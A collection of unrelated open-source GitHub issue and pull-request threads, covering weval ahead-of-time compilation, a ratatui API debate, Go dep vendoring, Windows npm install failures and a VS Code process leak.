Thanks for your supporting, advising and sharing your ideas all the time, I'm very happy that there's someone use this app and keep focusing it (though i make this app just for my personal use at first), and I would like to make a friend with you :smile:

Hey @Urinx and how any progress?

@lubieapki recently I'm busy and have no time, so I'll do it later but not right now.

@Urinx Then I wait :)

@Urinx any progress? :calling:

@lubieapki no hurry, I'm working on it.


Experimental: add ahead-of-time compilation via weval and PBL.

This PR pulls in my work to use "weval", the WebAssembly partial evaluator, to perform ahead-of-time compilation of JavaScript using the PBL interpreter we previously contributed to SpiderMonkey. This work has been merged into the BA fork of SpiderMonkey in
bytecodealliance/gecko-dev#45,  bytecodealliance/gecko-dev#46, bytecodealliance/gecko-dev#47, bytecodealliance/gecko-dev#48, bytecodealliance/gecko-dev#51, bytecodealliance/gecko-dev#52, bytecodealliance/gecko-dev#53, bytecodealliance/gecko-dev#54, bytecodealliance/gecko-dev#55, and then integrated into StarlingMonkey in bytecodealliance/starlingmonkey#91.
The feature is off by default; it requires a --enable-experimental-aot flag to be passed to js-compute-runtime-cli.js. This requires a separate build of the engine Wasm module to be used when the flag is passed.
This should still be considered experimental until it is tested more widely. The PBL+weval combination passes all jit-tests and jstests in SpiderMonkey, and all integration tests in StarlingMonkey; however, it has not yet been widely tested in real-world scenarios.
Initial speedups we are seeing on Octane (CPU-intensive JS benchmarks) are in the 3x-5x range. This is roughly equivalent to the speedup that a native JS engine's "baseline JIT" compiler tier gets over its interpreter, and it uses the same basic techniques -- compiling all polymorphic operations (all basic JS operators) to inline-cache sites that dispatch to stubs depending on types. Further speedups can be obtained eventually by inlining stubs from warmed-up IC chains, but that requires warmup.
Important to note is that this compilation approach is fully ahead-of-time: it requires no profiling or observation or warmup of user code, and compiles the JS directly to Wasm that does not do any further codegen/JIT at runtime. Thus, it is suitable for the per-request isolation model (new Wasm instance for each request, with no shared state).

@guybedford @JakeChampion I haven't quite worked out the CI flow yet -- the separate build of the engine and the wevalcache artifact both need to be packaged as well I guess. Any help appreciated there :-) I've verified a local build does work:
% ./js-compute-runtime-cli.js --enable-experimental-aot  ./richards.js richards.wasm
% viceroy richards.wasm
Log: Richards: 480
Log: ----
Log: Score (version 9): 480
^C%
% ./js-compute-runtime-cli.js ./richards.js richards-base.wasm
% viceroy richards-base.wasm
Log: Richards: 138
Log: ----
Log: Score (version 9): 138
^C%

I think I've re-discovered that some CI jobs require a branch in the main repo rather than a fork (e.g. this CI failure); closing this PR to re-open another from such a branch.


feat(rect): intersect_opt

While trying to figure out #1001 I tried to understand why max_x is calculated so overcomplicated.
https://github.com/ratatui-org/ratatui/blob/bef5bcf750375a78b11ae06f217091b2463e842f/src/text/span.rs#L366-L373
max_x should be intersected.right(). No other logic required. assert_eq!() noticed differences which surprised me. Then I found out: intersect returns an empty area but the offset stays. This means in these cases right() is the offset at some wonky position without an area.
The simple solution to this is to not render anything when intersected.is_empty(). In some places of the intersect() usage this was done, in some it was not. This means it's a bug introduced by mistake (#997 in this case). Just fixing this would introduce this bug again at some point in the future.
The better way is to return whether there is an actual intersection. When there is no intersection its unlikely someone wants to use this Rect. So return None instead.
The user of intersect() then has to actively think about what to do with this case. In case of rendering to an area: abort the render early. No space to render into anyway. So this might also be a performance gain.

The name of the new method is inspired by chrono which moves to _opt methods as the existing ones can panic. (Maybe Buffer::index_of should also introduce Buffer::index_of_opt, same for Buffer::get(_mut))

Normally this should include a migration diff like this:
-let area = area.intersect(other);
+let area = area.intersect(other).unwrap_or_default();

But I think this is rather pointless as the user should think about this actively. The deprecation hint should be clear what other method to use. Its docs state what None means. I think this is relatively easy to migrate.

max_x should be intersected.right(). No other logic required

yep. The implementation here was mostly copied from Buffer::set_stringn with modifications. This should have been simplified.
Taking a quick look at the current usage of intersection in the wild, I think we probably shouldn't deprecate this, and perhaps shouldn't have the _opt version at all as a .is_empty() check seems like it's good enough. Making users have to specifically handle the empty case differently than just treating it the same as if they'd been passed an empty area is annoying and is inconsistent with other places that return empty rects (e.g. layout::split()) where calling is_empty() would be idiomatic.
e.g.
fn render(self, area: Rect, buf: &mut Buffer) {
  // area can be empty already

as a .is_empty() check seems like it's good enough. Making users have to specifically handle the empty case differently than just treating it the same as if they'd been passed an empty area is annoying and is inconsistent with other places that return empty rects (e.g. layout::split()) where calling is_empty() would be idiomatic.

Rust has the concept of always valid states and to think about the different cases. When something exists its valid. This is especially noticeable on the Result enum as a return type. You have to care about the differences in the return type. What is what you want to have? Handle it? Ignore it? The language helps you to think about these cases and don't forget about it.
In this case it was forgotten that intersection has these differences. If you don't care, its one unwrap_or_default() away. But when you care the compiler and language will help you in thinking about all the cases correctly.
Not fixing this would result in another mistake like this. Maybe in this repo, maybe in another one.

An empty Rect is a valid state. Just because Option exists doesn't necessarily mean that it's the right tool for the job in all cases where there's a reasonable way of representing zero in the type. e.g. 1-1 is not None, vec[] is not None either.

Not fixing this would result in another mistake like this. Maybe in this repo, maybe in another one.

Can you clarify what mistake you mean here? I'm probably misunderstanding something. #997 was a change that added an intersection call. All the code following the call just becomes noops if the area is empty, and doesn't need any checks to see that. It could check if there was any perf impact, but it's unlikely to be more than a few nanosecs and not worth bothering with.

Can you clarify what mistake you mean here?

The following code interacted on a Rect with an empty area but with an unexpected offset. The offset requires additional complexity (in this case min, which was already there before the fix of #997).

I might be still misunderstanding the need for this a bit.

The following code

Which specific code? There's no link aside from the link to #997.
#997 uses intersection as a means to prevent out of bounds writes. The bug is that it wasn't called, not that there was any problem with calling intersection and returning an empty area. That said, the Span::render_ref method could probably be simplified to use two iterators working together, one on the area, and one on the graphemes instead of using math.
I (generally) would never do any of the following:

check for empty Vecs when iterating, because I trust that iterating over an empty Vec is a noop. For working with Rects we can iterate correctly with a noop using rows() and cols().
return Option<Vec> from any code, because an empty Vec is idiomatic. An empty Rect is idiomatically the same as an empty Vec.
expect that a call to find the intersection of two values would return None instead of an empty value. Example: https://doc.rust-lang.org/std/collections/hash_set/struct.Intersection.html returns an iterator over the values. It does not return an optional iterator that returns None if there is no intersection of values.

For the most part, the changes to where area.intersection is called to use intersection_opt() look better as a guard clause which checks Rect::is_empty(). We usually have omitted this as most code will effectively noop on empty areas. We could probably add these guards if benchmarks show these are on the hot path, but I don't think most would be.
TL;DR, I don't think this specific change improves the code, as it provides a something that is already working fine, in a non-idiomatic way.


Ensure successful registration before key refresh

Task/Issue URL: https://app.asana.com/0/0/1205631225739207/f
Description
WIP
Steps to test this PR
Feature 1

[ ]
[ ]

Current dependencies on/for this PR:

develop

PR #3712

PR #3736   👈

This comment was auto-generated by Graphite.


Rule idea: at-rule-blacklist

Specify a blacklist of disallowed at-rules (mainly Sass constructs like @extend, @include).
Or at-directive-blacklist, since @extend and @include, as I see them, are not rules at all.
The main goal is to be able to disallow extends. But making one general blacklist rule seems a better idea then one specific rule (or two rules - some people might not like mixins).

👍

Do you fancy developing this one over at stylelint as at-rule-name-blacklist and at-rule-name-whitelist because it's applicable to more than @extend and @include e.g. @supports, @keyframes, @font-face etc...?
Reference for the thing name at-rule-name-*.

@jeddy3 that sounds even better, I'll give it a shot.

Done in https://github.com/stylelint/stylelint/pull/1410


PointerMovedEvent and PointerReleasedEvent do not trigger after mouse leaves the title bar with pressed

Describe the bug
I add a contorl to the titlebar, and add Handlers PointerPressedEvent/PointerMovedEvent/PointerReleasedEvent/PointerCaptureLostEvent. When I press/move/release mouse left button over the control, all events trigger as expected.
If I just press mouse and move out the titlebar, PointerMovedEvent will not trigger, unless I release the left button. PointerReleasedEvent does not trigger at this point, and e.GetCurrentPoint(this).Properties.IsLeftButtonPressed still return true in PointerMovedEvent event, until I press left button and release next time.
But If I remove property OSXThickTitleBar from ExtendClientAreaChromeHints, everything works well.
Here is a demo video:
https://github.com/AvaloniaUI/Avalonia/assets/5343499/1efab050-820f-49d8-a93e-dd047d70e921
Here is the other demo which works perfect when I just remove OSXThickTitleBar property from ExtendClientAreaChromeHints:
https://github.com/AvaloniaUI/Avalonia/assets/5343499/88ca4370-eb68-4988-b843-7ea20b5a9e2b
To Reproduce

Set window properties ExtendClientAreaToDecorationsHint="True" / ExtendClientAreaTitleBarHeightHint="38" / ExtendClientAreaChromeHints="Default,OSXThickTitleBar"
Add a control to the top, use the following code to listen for events

this.AddHandler(PointerPressedEvent, this.OnPointerPressed, RoutingStrategies.Tunnel);
this.AddHandler(PointerMovedEvent, this.OnPointerMove, RoutingStrategies.Tunnel);
this.AddHandler(PointerReleasedEvent, this.OnPointerReleased, RoutingStrategies.Tunnel);
this.AddHandler(PointerCaptureLostEvent, this.OnPointerCaptureLost, RoutingStrategies.Tunnel);

Press the control with mouse left button, and move out from titlebar, but don't leave the window.

Expected behavior
No response
Avalonia version
11.0.10
OS
macOS
Additional context
No response

After move out of titlebar with mouse left button hold on, no more PointerMoved event triggered, if OSXThickTitleBar is set.


RuntimeError: cannot reuse already awaited coroutine

When i run ./run_demo faber the container shutdown with the error below:
`Shutting down agent ...
Faber      |
Faber      | Shutting down
Faber      | 2021-06-14 14:33:23,208 aries_cloudagent.commands.start ERROR Exception during startup:
Faber      | Traceback (most recent call last):
Faber      |   File "/home/indy/aries_cloudagent/commands/start.py", line 72, in init
Faber      |     await startup
Faber      |   File "/home/indy/aries_cloudagent/commands/start.py", line 28, in start_app
Faber      |     await conductor.setup()
Faber      |   File "/home/indy/aries_cloudagent/core/conductor.py", line 101, in setup
Faber      |     self.root_profile, self.setup_public_did and self.setup_public_did.did
Faber      |   File "/home/indy/aries_cloudagent/config/ledger.py", line 71, in ledger_config
Faber      |     async with ledger:
Faber      |   File "/home/indy/aries_cloudagent/ledger/indy.py", line 272, in aenter
Faber      |     await self.pool.context_open()
Faber      |   File "/home/indy/aries_cloudagent/ledger/indy.py", line 205, in context_open
Faber      |     await self.open()
Faber      |   File "/home/indy/aries_cloudagent/ledger/indy.py", line 170, in open
Faber      |     self.handle = await indy.pool.open_pool_ledger(self.name, "{}")
Faber      |   File "/home/indy/.pyenv/versions/3.6.13/lib/python3.6/site-packages/indy/pool.py", line 88, in open_pool_ledger
Faber      |     open_pool_ledger.cb)
Faber      | concurrent.futures._base.CancelledError
Faber      | 2021-06-14 14:33:23,213 asyncio ERROR Task exception was never retrieved
Faber      | future: <Task finished coro=<run_loop..done() done, defined at /home/indy/aries_cloudagent/commands/start.py:77> exception=RuntimeError('cannot reuse already awaited coroutine',)>
Faber      | RuntimeError: cannot reuse already awaited coroutine
Faber      | Exited with return code 0
`

It looks like an error connecting to the ledger, are you running von-network locally?
Can you share more info about your setup?

Its not a connection error, i got that when i wasn't running an Indy-node locally( [Connect call failed ('<IP_ADDRESS>', 9000)]).
i didn't get that now i don't what happened.


ion-c/cli  Process an event that in a struct should throw an exception if it misses field_name

Description
This issue is about ion-test-driver and Ion-c-cli process command.
For events inside a struct, they must have a field_name field otherwise they should throw an exception rather than giving it a default field_name $0.
Reproduce/example
For event stream:
$ion_event_stream
{
  event_type: CONTAINER_START,
  ion_type: STRUCT,
  depth: 0
}
{
  event_type: SCALAR,
  ion_type: INT,
  value_text: "1",
 // here is supposed to have a field_name
  value_binary: [
    224,
    1,
    0,
    234,
    33,
    1
  ],
  depth: 1
}
{
  event_type: CONTAINER_END,
  ion_type: STRUCT,
  depth: 0
}
{
  event_type: STREAM_END,
  depth: 0
}

Currently, ion-c prints:
{
  $0: 1
}

Event though the event stream doesn't have a field_name, (which might be an error) it outputs $0 instead.

I found the reason that causes this issue is because of the ion-c ionWriter rather than ion-c-cli.
Ion-c IonWriter will assign a $0 field_name to the scalar value within a struct that misses field_name field.

closed this issue and open a new one to solve it. https://github.com/amzn/ion-c/issues/200


Capital gain taxes

Hello,
Many countries outside Switzerland have taxes on capital gains, which of course impact the success rates of retirement portfolios in non-trivial ways, as well as rebalancing strategies (as rebalancing can trigger capital gain taxes).
I wonder if adding this feature was considered?
Do you think that would be a valuable feature to add? (In which case, I may send you a PR).

Hi,
I never considered adding this feature myself since I do all my experiments
for my Swiss readers.
But it would be valuable I think. Feel free to send a PR, just make sure we
can disable it (set to 0 would be enough).
Thanks

Message ID: @.***>


Create count.py

What type of PR is this? (check all applicable)

[ ] 🚀 Added Name
[ ] ✨ Feature
[ ] 🌟 stared the repo
[ ] 🐛 Grammatical Error
[ ] 📝 Documentation Update
[ ] 🚩 Other

Description
Add Link of GitHub Profile

count.zip

i done this without using any function


Export value shown twice.

Godot version
4.0.alpha13
System information
MacOS 12.5
Issue description
I am exporting a NoiseTexture using @export. It shows up twice in the inspector and removing the @export makes both disappear.
extends Node2D

@export var noise: NoiseTexture = null;

func _ready():
	pass # Replace with function body.

func _process(delta):
	pass

Steps to reproduce

Create a new node with a script.
Add a @exported NoiseTexture
Two values appear in the inspector.
Change the type to a String
Only one input changes type.

Minimal reproduction project
My Project:
Archive.zip

Duplicate of #63668.


Use the use case diagram to model the scenario

Having developed a scenario, the next step is to build a use case diagram from it.

moved to issue #34


dep ensure doesn't add subdeps

What version of Go (go version) and dep (git describe --tags) are you using?
$ git describe --tags
v0.3.0-31-g843f6f2
$ go version
go version go1.8.3 darwin/amd64
What dep command did you run?

$ dep ensure -v
Root project is "github.com/17twenty/gofilte"
4 transitively valid internal packages
10 external packages imported from 9 projects
(0)   ✓ select (root)
(1)	? attempt <internal company package> with 1 pkgs; at least 1 versions to try
(1)	    try  <internal company package> @master
(1)	✓ select  <internal company package> @master w/1 pkgs
(2)	? attempt github.com/Shopify/sarama with 1 pkgs; at least 1 versions to try
(2)	    try<EMAIL_ADDRESS>(2)	✓ select<EMAIL_ADDRESS>w/1 pkgs
(3)	? attempt <internal company package> with 1 pkgs; at least 1 versions to try
(3)	    try  <internal company package> @1.0.249
(3)	✓ select <internal company package> @1.0.249 w/1 pkgs
(4)	? attempt github.com/gogo/protobuf with 1 pkgs; at least 1 versions to try
(4)	    try<EMAIL_ADDRESS>(4)	✓ select<EMAIL_ADDRESS>w/1 pkgs
(5)	? attempt github.com/bsm/sarama-cluster with 1 pkgs; at least 1 versions to try
(5)	    try<EMAIL_ADDRESS>(5)	✓ select<EMAIL_ADDRESS>w/1 pkgs
(6)	? attempt github.com/golang/protobuf with 1 pkgs; at least 1 versions to try
(6)	    try github.com/golang/protobuf@master
(6)	✓ select github.com/golang/protobuf@master w/1 pkgs
(7)	? attempt github.com/couchbase/gocb with 1 pkgs; at least 1 versions to try
(7)	    try<EMAIL_ADDRESS>(7)	✓ select<EMAIL_ADDRESS>w/1 pkgs
(8)	? attempt github.com/eapache/go-resiliency with 1 pkgs; at least 1 versions to try
(8)	    try<EMAIL_ADDRESS>(8)	✓ select<EMAIL_ADDRESS>w/1 pkgs
(9)	? attempt github.com/eapache/queue with 1 pkgs; at least 1 versions to try
(9)	    try<EMAIL_ADDRESS>(9)	✓ select<EMAIL_ADDRESS>w/1 pkgs
(10)  ? attempt github.com/patrickmn/go-cache with 1 pkgs; at least 1 versions to try
(10)      try<EMAIL_ADDRESS>(10)  ✓ select<EMAIL_ADDRESS>w/1 pkgs
(11)  ? revisit github.com/golang/protobuf to add 2 pkgs
(11)    ✓ include 3 more pkgs from github.com/golang/protobuf@master
(11)  ? attempt github.com/sirupsen/logrus with 1 pkgs; at least 1 versions to try
(12)      try<EMAIL_ADDRESS>(12)  ✓ select<EMAIL_ADDRESS>w/1 pkgs
(12)  ? attempt github.com/davecgh/go-spew with 1 pkgs; at least 1 versions to try
(13)      try<EMAIL_ADDRESS>(13)  ✓ select<EMAIL_ADDRESS>w/1 pkgs
(13)  ? attempt google.golang.org/grpc with 1 pkgs; at least 1 versions to try
(14)      try<EMAIL_ADDRESS>(14)  ✓ select<EMAIL_ADDRESS>w/14 pkgs
(14)  ? attempt github.com/eapache/go-xerial-snappy with 1 pkgs; at least 1 versions to try
(15)      try github.com/eapache/go-xerial-snappy@master
(15)  ✓ select github.com/eapache/go-xerial-snappy@master w/1 pkgs
(15)  ? attempt github.com/golang/snappy with 1 pkgs; at least 1 versions to try
(16)      try github.com/golang/snappy@master
(16)  ✓ select github.com/golang/snappy@master w/1 pkgs
(16)  ? attempt github.com/satori/go.uuid with 1 pkgs; at least 1 versions to try
(17)      try<EMAIL_ADDRESS>(17)  ✓ select<EMAIL_ADDRESS>w/1 pkgs
(17)  ? attempt github.com/rcrowley/go-metrics with 1 pkgs; at least 1 versions to try
(18)      try github.com/rcrowley/go-metrics@master
(18)  ✓ select github.com/rcrowley/go-metrics@master w/1 pkgs
(18)  ? attempt golang.org/x/net with 2 pkgs; at least 1 versions to try
(19)      try golang.org/x/net@master
(19)  ✓ select golang.org/x/net@master w/2 pkgs
(19)  ? attempt github.com/pierrec/lz4 with 1 pkgs; at least 1 versions to try
(20)      try<EMAIL_ADDRESS>(20)  ✓ select<EMAIL_ADDRESS>w/1 pkgs
(20)  ? attempt github.com/pierrec/xxHash with 1 pkgs; at least 1 versions to try
(21)      try<EMAIL_ADDRESS>(21)  ✓ select<EMAIL_ADDRESS>w/1 pkgs
(21)  ? attempt gopkg.in/couchbaselabs/jsonx.v1 with 1 pkgs; at least 1 versions to try
(22)      try<EMAIL_ADDRESS>(22)  ✓ select<EMAIL_ADDRESS>w/1 pkgs
(22)  ? attempt gopkg.in/couchbaselabs/gocbconnstr.v1 with 1 pkgs; at least 1 versions to try
(23)      try<EMAIL_ADDRESS>(23)  ✓ select<EMAIL_ADDRESS>w/1 pkgs
(23)  ? revisit golang.org/x/net to add 3 pkgs
(24)    ✓ include 7 more pkgs from golang.org/x/net@master
(23)  ? attempt golang.org/x/text with 2 pkgs; at least 1 versions to try
(25)      try golang.org/x/text@master
(25)  ✓ select golang.org/x/text@master w/9 pkgs
(24)  ? attempt google.golang.org/genproto with 1 pkgs; at least 1 versions to try
(26)      try google.golang.org/genproto@master
(26)  ✓ select google.golang.org/genproto@master w/1 pkgs
(25)  ? revisit github.com/golang/protobuf to add 1 pkgs
(27)    ✓ include 2 more pkgs from github.com/golang/protobuf@master
(25)  ? attempt gopkg.in/couchbase/gocbcore.v7 with 1 pkgs; at least 1 versions to try
(28)      try<EMAIL_ADDRESS>(28)  ✓ select<EMAIL_ADDRESS>w/1 pkgs
(26)  ? attempt golang.org/x/sys with 1 pkgs; at least 1 versions to try
(29)      try golang.org/x/sys@master
(29)  ✓ select golang.org/x/sys@master w/1 pkgs
✓ found solution with 57 packages from 26 projects
Solver wall times by segment:
b-source-exists: 22.797695975s
b-list-pkgs:  7.133839733s
b-gmal:  5.864614485s
b-deduce-proj-root:    583.1616ms
select-atom:   10.196835ms
satisfy:    9.871356ms
new-atom:    1.424506ms
select-root:     183.832µs
other:      81.486µs
add-atom:      11.913µs
TOTAL: 36.401081721s
$ go build ./...
vendor/github.com/rcrowley/go-metrics/stathat/stathat.go:6:2: cannot find package "github.com/stathat/go" in any of:
/Users/nickg/go/src/github.com/17twenty/gofilte/vendor/github.com/stathat/go (vendor tree)
/usr/local/go/src/github.com/stathat/go (from $GOROOT)
/Users/nickg/go/src/github.com/stathat/go (from $GOPATH)
vendor/github.com/sirupsen/logrus/examples/hook/hook.go:5:2: cannot find package "gopkg.in/gemnasium/logrus-airbrake-hook.v2" in any of:
/Users/nickg/go/src/git.campmon.com/data-tribe/gofilte/vendor/gopkg.in/gemnasium/logrus-airbrake-hook.v2 (vendor tree)
/usr/local/go/src/gopkg.in/gemnasium/logrus-airbrake-hook.v2 (from $GOROOT)
/Users/nickg/go/src/gopkg.in/gemnasium/logrus-airbrake-hook.v2 (from $GOPATH)
../../../golang.org/x/oauth2/google/default.go:16:2: cannot find package "cloud.google.com/go/compute/metadata" in any of:
/usr/local/go/src/cloud.google.com/go/compute/metadata (from $GOROOT)
/Users/nickg/go/src/cloud.google.com/go/compute/metadata (from $GOPATH)
vendor/google.golang.org/grpc/examples/helloworld/mock_helloworld/hw_mock.go:7:2: cannot find package "github.com/golang/mock/gomock" in any of:
...
And so on and so forth
...
$ dep ensure -add github.com/stathat/go
"github.com/stathat/go" is not imported by your project, and has been temporarily added to Gopkg.lock and vendor/.
If you run "dep ensure" again before actually importing it, it will disappear from Gopkg.lock and vendor/.
$ grep -r "github.com/stathat/go" *
Gopkg.lock:  name = "github.com/stathat/go"
vendor/github.com/rcrowley/go-metrics/README.md:go get github.com/stathat/go
vendor/github.com/rcrowley/go-metrics/stathat/stathat.go:       "github.com/stathat/go"
vendor/github.com/stathat/go/example_test.go:   stathat "github.com/stathat/go"
vendor/github.com/stathat/go/README.md:    go get github.com/stathat/go
vendor/github.com/stathat/go/README.md:            "github.com/stathat/go"
What did you expect to see?
Correctly worked out dependencies within subprojects.
What did you see instead?
Missing vendored projects

hi, welcome! thanks for the issue.
so, the main thing here is this: go build ./... - you're on Go 1.8, which means that ./... will try to walk into vendor/ and build everything in there. (1.9 fixes this, finally). try go build $(go list ./... | grep -v vendor), instead.
that dep did not include github.com/stathat/go in your set of dependencies indicates that your project does not transitively import that package. some packages in some of your dependencies do import it (e.g. github.com/rcrowley/go-metrics/stathat), but you don't import those packages, directly or transitively.


fail to install on windows

Following the tutorial on https://docs.microsoft.com/en-us/samples/azure-samples/digital-twins-explorer/digital-twins-explorer/
Fail to install dependencies on a Windows machine.
###\client>npm i

<EMAIL_ADDRESS>preinstall C:\Users\eksko\OneDrive\work\repos\adtxplorer\client
npx npm-force-resolutions

npx: installed 5 in 2.216s

<EMAIL_ADDRESS>install C:\Users\eksko\OneDrive\work\repos\adtxplorer\client\node_modules\node-sass
node scripts/install.js

internal/fs/utils.js:298
throw err;
^
Error: UNKNOWN: unknown error, read
at Object.readSync (fs.js:581:3)
at tryReadSync (fs.js:357:20)
at Object.readFileSync (fs.js:386:19)
at Object.Module._extensions..js (internal/modules/cjs/loader.js:1271:22)
at Module.load (internal/modules/cjs/loader.js:1100:32)
at Function.Module._load (internal/modules/cjs/loader.js:962:14)
at Module.require (internal/modules/cjs/loader.js:1140:19)
at require (internal/modules/cjs/helpers.js:75:18)
at Object. (C:\Users\eksko\OneDrive\work\repos\adtxplorer\client\node_modules\glob\glob.js:51:18)
at Module._compile (internal/modules/cjs/loader.js:1251:30) {
errno: -4094,
syscall: 'read',
code: 'UNKNOWN'
}
npm WARN<EMAIL_ADDRESS>requires a peer of<EMAIL_ADDRESS>but none is installed. You must install peer dependencies yourself.
npm WARN<EMAIL_ADDRESS>requires a peer of<EMAIL_ADDRESS>but none is installed. You must install peer dependencies yourself.
npm WARN<EMAIL_ADDRESS>requires a peer of<EMAIL_ADDRESS>but none is installed. You must install peer dependencies yourself.
npm WARN optional SKIPPING OPTIONAL DEPENDENCY<EMAIL_ADDRESS>(node_modules\chokidar\node_modules\fsevents):
npm WARN notsup SKIPPING OPTIONAL DEPENDENCY: Unsupported platform for<EMAIL_ADDRESS>wanted {"os":"darwin","arch":"any"} (current: {"os":"win32","arch":"x64"})
npm WARN optional SKIPPING OPTIONAL DEPENDENCY<EMAIL_ADDRESS>(node_modules\react-scripts\node_modules\fsevents):
npm WARN notsup SKIPPING OPTIONAL DEPENDENCY: Unsupported platform for<EMAIL_ADDRESS>wanted {"os":"darwin","arch":"any"} (current: {"os":"win32","arch":"x64"})
npm WARN optional SKIPPING OPTIONAL DEPENDENCY<EMAIL_ADDRESS>(node_modules\fsevents):
npm WARN notsup SKIPPING OPTIONAL DEPENDENCY: Unsupported platform for<EMAIL_ADDRESS>wanted {"os":"darwin","arch":"any"} (current: {"os":"win32","arch":"x64"})
npm ERR! code ELIFECYCLE
npm ERR! errno 1
npm ERR<EMAIL_ADDRESS>install: node scripts/install.js
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>install script.
npm ERR! This is probably not a problem with npm. There is likely additional logging output above.
npm ERR! A complete log of this run can be found in:

Thanks for reporting this issue. I've just run through a fresh install on a Windows 10 and unfortunately I was unable to replicate this issue. Futhermore, I haven't been able to identify any immediate leads on what might be causing it ☹. As a first step, I'd suggest removing the node_modules folder and trying the install again. Another option might be to try installing the sample outside of your OneDrive directory (as I'm not aware of our team trying an install within a synced folder before).

one drive was the culprit

Thanks for the update. I'll close this issue now but please let us know if you run into any other issues.


[bug] 32bit version leaks suspended accumulating npm processes

bug description :
on 32bit Win7 : VS Code leaves after closing a npm process ,
whose details can be viewed for example with the Process Explorer
process-path of the leaked process :
    C:\Windows\system32\cmd.exe /d /s /c "npm install --ignore-scripts types-registry"
working-dir of the leaked process :
    C:\Users\<user>\AppData\Local\Microsoft\TypeScript\2.9\

in the windows os this npm process has the status suspended and is unending
and accumulates after each restart of VS Code .
expected behavior :
this npm process should exit normaly after a reasonable amount of time it needs to do its job .
environment info :
in the built-in terminal of VS Code npm and node are reachable as expected
and calling them in the built-in terminal gives :
npm -v
6.1.0

node -v
v10.4.0

test results on different windows versions :
this phenomenon happens in Win7 32bit .
it does not occur if the 32bit or 64bit version of VS Code is run in Win10 64bit .
Please search existing issues to avoid creating duplicates : done , nothing found .

VSCode Version:  1.24.0
OS Version:  Win7 Ultimate SP1 32bit

Steps to Reproduce:

open a *.js file in VS Code via drag'n'drop into the editor .
it does not matter if the file is totally empty or contains
normal JavaScript source code . also it does not matter
if the file is really edited or just viewed .
close the tab in VS Code that contains the *.js file
close VS Code
search in the windows-processes-list for example with the Process Explorer
for a cmd.exe process with its command line containing
"npm install --ignore-scripts types-registry"

the reproducibility rate of this phenomenenon is above 80% ,
so sometimes it doesn't occur .
to reproduce this phenomenon it can help after closing VS Code
to rename the *.js file befor starting VS Code again and opening
this *.js file in VS Code .
Does this issue occur when all extensions are disabled?:  yes

Assuming this is related to TS ATA? @mjbvz

Can you please try collecting the full process arguments and process tree for the npm process using process-explorer

Can you please try collecting the full process arguments and
process tree for the npm process using process-explorer.

here are the results as a sequenz of screenshots , taken from the moment
on , when a test.js file is already opened in an editor-tab in VS Code .
screenshot 1 :

now VS Code is closed :
screenshot 2 :

screenshot 3 :

screenshot 4 :

screenshot 5 :

the full process arguments

process-path with all argumets (complete command line) of the leaked
process as shown in the properties of the process in process-explorer :
    C:\Windows\system32\cmd.exe /d /s /c "npm install --ignore-scripts types-registry"

working-dir of the leaked process as shown in the properties of the process in process-explorer :
    C:\Users\<user>\AppData\Local\Microsoft\TypeScript\2.9\

the first strange beahvior is visible in the step from screenshot 2 to 3 , because the 3 lower
Code.exe processes have separated(! but why ?) themselves from the above origin-tree of
Code.exe processes .
the top process "start.au3.exe" launches Code.exe portable with the
commandline "--user-data-dir" and sets the %Path%-env-var , so that
node.exe an npm are accessibel .
the leaking of the npm-process
C:\Windows\system32\cmd.exe /d /s /c "npm install --ignore-scripts types-registry"
happens only when Code.exe is launched portable with the commandline "--user-data-dir" .
the the leaking of the npm-process does not happen in a normal installation of VS Code .
my guess is , that the 3 lower Code.exe processes , that have separated themselves from
the above origin-tree of Code.exe processes , possibly have therefore not inherited
the env-var like the %Path%-env-var , so that they cannot reach node.exe and
thus npm , so that npm never gets executed .
a hint to this is the working-dir of the leaked process , that does not point to
the portable folder-branch , set by "--user-data-dir" (and "--extensions-dir") ,
but instead points to the non-portable folder
C:\Users<user>\AppData\Local\Microsoft\TypeScript\2.9
that would only be expected in a non-portable/normal launch of Code.exe .
i've cheched with a positive result , that other executions of node.exe and npm
in the portable launch of Code.exe work as expected :
for example the execution of node.exe by the ESLint-extension .

in screenshot 4 the last Code.exe-process(PID 4120) has the command-line switch
--globalTypingsCacheLocation

with a path-parameter , there only the beginning of the path is visible .
the entire path-parameter here is
C:/Users/<user>/AppData/Local/Microsoft/TypeScript/2.9

and that is not a portable path as it would be expected here and
could be the source of this bug , because this Code.exe-process with
the PID 4120 is the parent-process of leaked cmd.exe/npm-process .

Can you try collecting the typings installer logs to see why these processes are hanging around.

On the latest VS Code insiders
Set "typescript.tsserver.log": "verbose"
Restart VS Code and reproduce the problem
In a javascript file, run the Open TS server logs command

This should open a file with a ti-xxxxx.log file in it. That is the typings install log. Look for any errors or stack traces in the logs, especially near the end of the log file. If you can share the file I can also look through it to see what may be going wrong

OS Version:  Win7 Ultimate SP1 32bit
VSCode Version:  1.25.0-insider

"Code - Insiders.exe" launched portable with the command-line containing
--user-data-dir "d:\portable_programs\VS Code\sandbox\vsc-user-data"
i've reproduced the problem and checked that the cmd.exe/npm processes has leaked
and here is the recorded ti-xxxxx.log :
[12:18:42.500] Global cache location 'C:/Users/<user>/AppData/Local/Microsoft/TypeScript/2.9', safe file path 'd:/portable_programs/vs code/32bit/resources/app/extensions/node_modules/typescript/lib/typingsafelist.json', types map path d:/portable_programs/vs code/32bit/resources/app/extensions/node_modules/typescript/lib/typesmap.json
[12:18:42.502] Processing cache location 'C:/Users/<user>/AppData/Local/Microsoft/TypeScript/2.9'
[12:18:42.503] Trying to find 'C:/Users/<user>/AppData/Local/Microsoft/TypeScript/2.9/package.json'...
[12:18:42.505] Finished processing cache location 'C:/Users/<user>/AppData/Local/Microsoft/TypeScript/2.9'
[12:18:42.506] Process id: 7468
[12:18:42.506] NPM location: npm (explicit '--npmLocation' not  provided)
[12:18:42.507] Npm config file: C:/Users/<user>/AppData/Local/Microsoft/TypeScript/2.9/package.json
[12:18:42.508] Updating types-registry npm package...
[12:18:42.508] Exec: npm install --ignore-scripts types-registry@latest
[12:18:45.770] Succeeded. stdout: +<EMAIL_ADDRESS>   updated 1 package and audited 1 package in 1.253s     found 0 vulnerabilities
[12:18:45.770] Updated types-registry npm package
